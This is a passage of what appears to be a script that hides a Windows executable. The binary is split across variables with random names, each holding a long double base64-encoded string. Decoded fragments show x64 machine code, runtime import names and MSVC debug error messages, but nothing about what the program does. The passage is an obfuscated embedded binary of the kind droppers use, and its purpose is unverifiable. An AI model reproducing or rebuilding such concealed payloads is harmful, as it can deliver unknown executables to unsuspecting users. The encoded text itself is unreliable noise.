k16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" HTLdEBDxvDgWgMPvvDcMsvqvLYa = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRkFWQWdBQUFBQUFBQUFBQUlvWUFnQlFFUUlBK0JVQ0FBQUFBQUFBQUFBQVJoc0NBUGdSQWdBQUZBSUFBQUFBQUFBQUFBQnNIUUlBQUJBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEzQndDQUFBQUFBQnFHd0lBQUFBQUFINGJBZ0FBQUFBQWtCc0NBQUFBQUFDbUd3SUFBQUFBQUx3YkFnQUFBQUFBMEJzQ0FBQUFBQURxR3dJQUFBQUFBUDRiQWdBQUFBQUFXaDBDQUFBQUFBQk1IUUlBQUFBQUFEd2RBZ0FBQUFBQUtoMENBQUFBQUFBZUhRSUFBQUFBQUJJZEFnQUFBQUFBQWgwQ0FBQUFBQUR1SEFJQUFBQUFBRlFiQWdBQUFBQUF4aHdDQUFBQUFBQ3NIQUlBQUFBQUFKWWNBZ0FBQUFBQWZCd0NBQUFBQUFCZ0hBSUFBQUFBQUV3Y0FnQUFBQUFBT0J3Q0FBQUFBQUFhSEFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBY2hnQ0FBQUFBQUJZR0FJQUFBQUFBRHdZQWdBQUFBQUFIaGdDQUFBQUFBQUlHQUlBQUFB" hnDgZgRNZjLm = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBRjlmUTE5emNHVmphV1pwWTE5b1lXNWtiR1Z5QUFBSkFGOWZRMTl6Y0dWamFXWnBZMTlvWVc1a2JHVnlYMjV2WlhoalpYQjBBQ1VBWDE5emRHUmZkSGx3WlY5cGJtWnZYMlJsYzNSeWIzbGZiR2x6ZEFBQUd3QmZYMk4xY25KbGJuUmZaWGhqWlhCMGFXOXVBQndBWDE5amRYSnlaVzUwWDJWNFkyVndkR2x2Ymw5amIyNTBaWGgwQUM0QVgxOTJZM0owWDBkbGRFMXZaSFZzWlVacGJHVk9ZVzFsVndBdkFGOWZkbU55ZEY5SFpYUk5iMlIxYkdWSVlXNWtiR1ZYQURFQVgxOTJZM0owWDB4dllXUk1hV0p5WVhKNVJYaFhBRlpEVWxWT1ZFbE5SVEUwTUVRdVpHeHNBRFVBWDE5aFkzSjBYMmx2WWw5bWRXNWpBRndBWDE5emRHUnBiMTlqYjIxdGIyNWZkbVp3Y21sdWRHWUFNUVZ6ZEhKc1pXNEFBQVFBWDBOeWRFUmlaMUpsY0c5eWRBQUZBRjlEY25SRVltZFNaWEJ2Y25SWEFBRERBbDl6WldoZlptbHNkR1Z5WDJWNFpRREdBbDl6WlhSZllYQndYM1I1Y0dVQVd3QmZYM05sZEhWelpYSnRZWFJvWlhKeUFBQzJBRjlqYjI1bWFXZDFjbVZmYm1GeWNtOTNYMkZ5WjNZQUFIRUJYMmx1YVhScFlXeHBlbVZmYm1GeWNtOTNYMlZ1ZG1seWIyNXRaVzUwQUFBOUFWOW5a" CmIiDOtlbfTzeZwoJcMPoXEambQWUqgMmWTIgJdnQazyI = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBeFJNQlFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" WKMrozPvTpOFCSNgWtqwjGpRhnutJbgPjzC = "RFBFU0ltRUpDQUVBQUNMUFdhbUFBQklpOXBJaS9HRC8vOTBkWUE2QUhSWlNJdks2SzRCQUFCSWc4QXRTRDBBQkFBQWQwVk1qUVZyZ3dBQXVnQUVBQUJJalV3a0lPZ2Y1Ly8vVEl2RFNJMU1KQ0M2QUFRQUFPZ081di8vVEkwRlk0TUFBTG9BQkFBQVNJMU1KQ0RvK09YLy8weU5UQ1FnNndkTWpRMHVpQUFBUWJnQ0FBQUFpOWRJaTg3b1pnRUFBRWlMakNRZ0JBQUFTRFBNNkYvbi8vOU1qWndrTUFRQUFFbUxXeUJKaTNNb1NZdmpYOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekVpSlZDUVFWa0ZVUVZWQlYwaUQ3Q2hGTS8rK0VBQUFBRXc3emsyTDRFaUx3a3lMNlVrUFF2RkloZlowYTBpSlhDUlFUQ3ZoU0lsc0pHQklpK3BJaVh3a2FFaUwrVXlKZENRZ1JZMTNNVXlML2tFUHRodzhUSTBGaTRjQUFFU0x5MG1MMWtpTHplano1di8vU1lQdUE0Z2ZTSVBGQTBpTmZ3RklnKzRCZGRKSWkwUWtXRXlMZENRZ1NJdDhKR2hJaTJ3a1lFaUxYQ1JRU28wRWVFUEdCQzhBUWNZRUJ3QklnOFFvUVY5QlhVRmNYc1BNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0l2QkQ3WVFTUC9BaE5KMTlrZ3J3VWoveU1QTXpNek16TXpNek16TXpNeEFVMVZY" jGEvPHTyQBgJGqDSXfaWZVOnnAKsLSeSzLTydie = "QUFBQUFBQUFBQUFBQUFBQUFGTjBZV05ySUcxbGJXOXllU0IzWVhNZ1kyOXljblZ3ZEdWa0RRb0FBQUFBQUFBQUFBQUFBQUJCSUd4dlkyRnNJSFpoY21saFlteGxJSGRoY3lCMWMyVmtJR0psWm05eVpTQnBkQ0IzWVhNZ2FXNXBkR2xoYkdsNlpXUU5DZ0FBQUFBQUFBQUFBQUFBVTNSaFkyc2diV1Z0YjNKNUlHRnliM1Z1WkNCZllXeHNiMk5oSUhkaGN5QmpiM0p5ZFhCMFpXUU5DZ0FBQUFBQUFBQUFBQUFBQUFCVmJtdHViM2R1SUZKMWJuUnBiV1VnUTJobFkyc2dSWEp5YjNJTkNnQUFBQUFBQUFBQUFBQUFVZ0IxQUc0QWRBQnBBRzBBWlFBZ0FFTUFhQUJsQUdNQWF3QWdBRVVBY2dCeUFHOEFjZ0F1QUEwQUNnQWdBRlVBYmdCaEFHSUFiQUJsQUNBQWRBQnZBQ0FBWkFCcEFITUFjQUJzQUdFQWVRQWdBRklBVkFCREFDQUFUUUJsQUhNQWN3QmhBR2NBWlFBdUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFVZ0IxQUc0QUxRQlVBR2tBYlFCbEFDQUFRd0JvQUdVQVl3QnJBQ0FBUmdCaEFHa0FiQUIxQUhJQVpRQWdBQ01BSlFCa0FDQUFMUUFnQUNVQWN3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQlZibXR1YjNkdUlFWnBiR1Z1WVcxbEFBQUFBQUFBQUFCVmJtdHViM2R1SUUxdlpIVnNaU0JPWVcxbEFBQUFBQUJTZFc0dFZHbHRaU0JEYUdWamF5QkdZV2xzZFhK" gSTHkqRczwLplVanyWeaUyULjTzKvwEPRiOvqnhzYyCjb = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" USrSXWldjOmExiDNcxtNWUyMThsastYxrYoKTFEWOuJcvfDjgnfIcEa = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLQVhBUURNRndFQUFNWUJBT0FYQVFCSEdBRUFGTVlCQUdBWUFRQitHd0VBUk1ZQkFGQWNBUUFQSFFFQUtNWUJBRUFkQVFCV0hRRUFNTWNCQUZZZEFRQjJIUUVBT01jQkFIWWRBUUI3SFFFQVVNY0JBSkFkQVFDckhRRUFXTVlCQUtzZEFRQUJIZ0VBYk1ZQkFBRWVBUUFSSGdFQWhNWUJBRUFlQVFCSEhnRUFtTVlCQUVjZUFRQmhIZ0VBcU1ZQkFHRWVBUUJzSGdFQXhNWUJBR3dlQVFDNEhnRUEzTVlCQUxnZUFRQzlIZ0VBOU1ZQkFMMGVBUURRSGdFQUNNY0JBTkFlQVFCREh3RUFITWNCQUxBZkFRRHZId0VBYk1jQkFBQWdBUUFqSUFFQVpNY0JBREFnQVFCc0lBRUFkTWNCQUlBZ0FRQzZJQUVBaE1jQkFOQWdBUURJSVFFQWZNY0JBQ0FpQVFBK0lnRUFrTWNCQUZBaUFRQUNJd0VBeE1jQkFEQWpBUUJBSXdFQXpNY0JBRkFqQVFCcUl3RUExTWNCQUhBakFRQ0RJd0VBQ01nQkFKQWpBUUF1SlFFQTNNY0JBS0FsQVFDMUpRRUFsTWNCQU1BbEFRRE9KUUVBbk1jQkFPQWxBUUFlSmdFQXZNY0JBREFtQVFCREpnRUFwTWNCQUZBbUFRQnRKZ0VBdE1jQkFJQW1BUUNWSmdFQXJNY0JBS0FtQVFDekpn" vFLyllXrhmSiCmOAKRsNkTcKp = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEzRUFGQUFRQUFBQUFBQUFBQUFBQUFOeEFCUUFFQUFBQUFBQUFBQUFBQUFNTVFBVUFCQUFBQUFBQUFBQUFBQUFDZ0VBRkFBUUFBQUFBQUFBQUFBQUFBb0JBQlFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ3VFUUZBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" qpRHjZoTBzGJBQeVBJBEvDvfxiPXTkBzbYzFCng = "U0wxMHlORGRlS0FBRG80Z01BQU9ubEFBQUFUSXRLREVpTmpDU0FBQUFBU0ltY0pQQUJBQUJKZytra1NJMWFJRXlMdzBpTmxDU1lBQUFBNkxFQ0FBQklpMFlNU0kwTjdvb0FBRWlKVENSd1RJME5Xb3NBQUVpRDZDUklqWXdrbUFBQUFFaUpUQ1JvVEkwRm1vc0FBRWlORGNlS0FBQzZCZ0VBQUVpSlRDUmdTSTJNSklBQUFBQklpVXdrV0VpTkRhMktBQUJJaVV3a1VFaU5EYkdLQUFCRWlYUWtTRWlKVENSQVNJMk1KTkFBQUFCSWlVUWtPRWlOQmN1S0FBQklpVVFrTUVpTkJjK0tBQUJJaVZ3a0tFaUpSQ1FnNkhicC8vOU1qWXdrMEFBQUFFRzRCQUFBQUl2WFNJdk42QUFEQUFCSWk1d2s4QUVBQUVpTGpDVGdBUUFBU0RQTTZQSG8vLzlJZ2NUNEFRQUFRVjVmWGwzRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpJUDZCSGNyU0dQQ1RJME4wZGIrLzBXTGxJRVkwQUVBVFl1TXdRaXRBUUJCZy9yL2RDaEVpOEpCaTlMcFVBSUFBRXlMRGRtREFBQzZCUUFBQUVHNkFRQUFBRVNMd2tHTDB1a3pBZ0FBdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXhJaVZ3a0dFaUpkQ1FnVjBpQjdEQUVBQUJJaXdWZnBnQUFT" dFiJWKhjbPrexvpfDvVJqNYxBHlMbzLjichbXJYNZBfMaBiFBHcaUKjXRLowLQmTNse = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" RzAiANtvbRZPXTAsgSwrtKTXDAxZvqMSiUWIDXSXTmocZPagjTaMNLa = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPQ==" MCJnXUJSpRRJmCHBNyGgL = "eWFBQUFNOUxvdmNMLy8waUwrRWlGd0hSL1NJMFZ2R2dBQUVpTHovOFY0OElBQUVpTDJFaUZ3SFJuU0kwVnRHZ0FBRWlMei84Vnk4SUFBRWlMOEVpRndIUlBTSTBWdEdnQUFFaUx6LzhWczhJQUFFeUw4RWlGd0hRM1NJMUVKRWhCdVFFQUFBQklpVVFrSUVpTkZaeG9BQUJJaThORk04Qkl4OEVDQUFDQS94Vlo0Z0FBaGNCME4waUx6LzhWZk1JQUFEUEFTSXVOWUFFQUFFZ3p6T2pFdy8vL1RJMmNKSEFDQUFCSmkxc1FTWXR6R0VtTGV5Qk5pM01vU1l2alhjTklpMHdrU0VpTlJDUkFTSWxFSkNoTWpVd2tSRWlOUkNSUXgwUWtRQWdDQUFCSWlVUWtJRWlORmJGb0FBQklpOFpGTThEL0ZlWGhBQUJJaTB3a1NJdllTWXZHL3hYVjRRQUFTSXZQL3hYOHdRQUFoZHNQaFhqLy8vK0RmQ1JFQVErRmJmLy8vNHRVSkVEMndnRVBoV0QvLy8vUjZrU0x5b1A2QWcrQ1V2Ly8vLy9LVEkxRUpGQm1RVGtjVUUyTkJGQVBoVHovLy8rTlF2OUJ1bHdBQUFCbVJEbFVSRkIwQjJaRmlSQkJpOUdMd3ZmUWcvZ1lENElYLy8vL2k4cElqVUVYU0QwRUFRQUFENGNGLy8vL3gwUk1VR0lBYVFBendNZEVURlJ1QUZ3QU05TEhSRXhZWVFCdEFFRzRBQWtBQU1kRVRGeGtBRFlBeDBSTVlEUUFYQURIUkV4a1RRQlRBTWRFVEdoUUFFUUF4MFJNYkVJQU1RREhSRXh3TkFBd0FNZEVUSFF1QUVRQXgwUk1lRXdBVEFCbWlVUk1mRWlOVENSUTZN" DxGfjRpmNTaNGoJXjmOatrlacvaUAOIngqVHZVdHiYsqXtJVjfUeKbFDcCgeOYeJUCcb = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekVTSlJDUVlWVk5XVjBGVVFWVkJWa2lOYkNUcFNJSHNzQUFBQUVVejlraU5jZjlGaVRGTWkrcG1SSWt5U0l2T1NJMVY1MDJMNFVXTlJqRC9GYWkrQUFCSWhjQVBoR2tEQUFCRWkwVi9TSXRWZDBpTFRlL294TUgvLzRYQUQ0UlFBd0FBU0l0Tjc3aE5XZ0FBWmprQkQ0VStBd0FBU0dOQlBJWEFENDR5QXdBQVNBUEJnVGhRUlFBQUQ0VWpBd0FBRDdkUUZDdnhSQSszUUFaSUE5QkJpLzVCaTk1RmhjQjBKdzhmaEFBQUFBQUFpOE5JalF5QWkwVEtKRHZ3Y2dxTC9pdjRPM1RLSUhJSC84TkJPOWh5NFVFNzJBK0UyZ0lBQVAvRFJEZzFZWVlBQUhVclREazFUb1lBQUErRndnSUFBT2liK1AvL1NJa0ZQSVlBQUVpRndBK0VyUUlBQU1ZRk5vWUFBQUhyQjBpTEJTT0dBQUJJalJXMFpBQUFTSXZJL3hXenZRQUFTSVhBRDRTRUFnQUFTSTFOejBVenlVaUpUQ1E0UlRQQVRJbDBKREJJalUzZlRJbDBKQ2d6MGtpSlRDUWdTSXROZC84VlZOMEFBSVhBRDRST0FnQUFTSXROejBtTDlreUpkYmRJaXdGSWl3RC9GVFhkQUFBOVFaRXlBUStGRmdJQUFFaUxUYzlNalUzWFRJMEZUMlFBQURQU1NJc0JTSXRBT1A4VkROMEFBSVhBRDRUd0FRQUFTSXROMTB5TlRjZE1pWFFrTUVTTHgweUpkQ1Fv" VBKpNPcerfjsMDbNePJypSVjCZ = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFNQUpBQVFBQUFEQXdBa0FCQUFBQVFEQUNRQUVBQUFCUU1BSkFBUUFBQUdBd0FrQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGlHelJrQUFBQUFBSUFBQUJYQUFBQUhMNEJBQnlrQUFBQUFBQUE0aHMwWkFBQUFBQU1BQUFBRkFBQUFIUytBUUIwcEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" CRhXDbBjmGHbyTLCeuwFsAwYKdc = "UkFYOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFaUQ3RGhJdURLaTN5MlpLd0FBU0RrRlU1QUFBSFFUU0lzRlNwQUFBRWozMEVpSkJUaVFBQURyUmVqaC92Ly9TSWxFSkNCSXVES2kzeTJaS3dBQVNEbEVKQ0IxRDBpNE02TGZMWmtyQUFCSWlVUWtJRWlMUkNRZ1NJa0ZDSkFBQUVpTFJDUWdTUGZRU0lrRjhZOEFBRWlEeERqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek14SWlVd2tDRFBBdzh6TXpNek16TXpNdUFFQUFBRER6TXpNek16TXpNek16RFBBdzh6TXpNek16TXpNek16TXpNeTRBRUFBQU1QTXpNek16TXpNek16TU04RER6TXpNek16TXpNek16TXpNekRQQXc4ek16TXpNek16TXpNek16TXhJZyt3b1NJME4xWmNBQVA4VjM4OEFBRWlEeENqRHpNek16TXpNek16TXpFaUQ3Q2hJalEyMWx3QUE2Q2pTLy85SWc4UW93OHpNek16TXpNek16TXpNc0FIRHpNek16TXpNek16TXpNek16TUlBQU16TXpNek16TXpNek16TXpNekNBQURNek16TXpNek16TXpNek16TVNJMEZnWmNBQU1QTXpNek16TXpNekVpRDdEam8vODcvLzBpSlJDUWdTSXRFSkNCSWl3QklnOGdrU0l0TUpDQklpUUhvQ2MvLy8waUpSQ1FvU0l0RUpDaElpd0JJZzhnQ1NJdE1KQ2hJaVFGSWc4UTR3" UXsYABfpUwdH = "QUFPZ1hBZ0FBQUFBQXlCY0NBQUFBQUFDd0Z3SUFBQUFBQUhvZEFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFiQm9DQUFBQUFBQzJHZ0lBQUFBQUFOSWFBZ0FBQUFBQTZob0NBQUFBQUFENEdnSUFBQUFBQUE0YkFnQUFBQUFBR2hzQ0FBQUFBQUFxR3dJQUFBQUFBRG9iQWdBQUFBQUFpQm9DQUFBQUFBQmdHZ0lBQUFBQUFGUWFBZ0FBQUFBQVJCb0NBQUFBQUFBMEdnSUFBQUFBQUI0YUFnQUFBQUFBOEJrQ0FBQUFBQURtR1FJQUFBQUFBTndaQWdBQUFBQUF6aGtDQUFBQUFBREFHUUlBQUFBQUFMSVpBZ0FBQUFBQXFoa0NBQUFBQUFDaUdRSUFBQUFBQUpRWkFnQUFBQUFBaUJrQ0FBQUFBQUJtR1FJQUFBQUFBRVFaQWdBQUFBQUFLaGtDQUFBQUFBQVdHUUlBQUFBQUFBWVpBZ0FBQUFBQTlCZ0NBQUFBQUFEaUdBSUFBQUFBQU5JWUFnQUFBQUFBeUJnQ0FBQUFBQUN1R0FJQUFBQUFBSndZQWdBQUFBQUFtaG9DQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" kUozySeFfiJiWBdZvCFFrrdxoTSfXmBjPevyUb = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB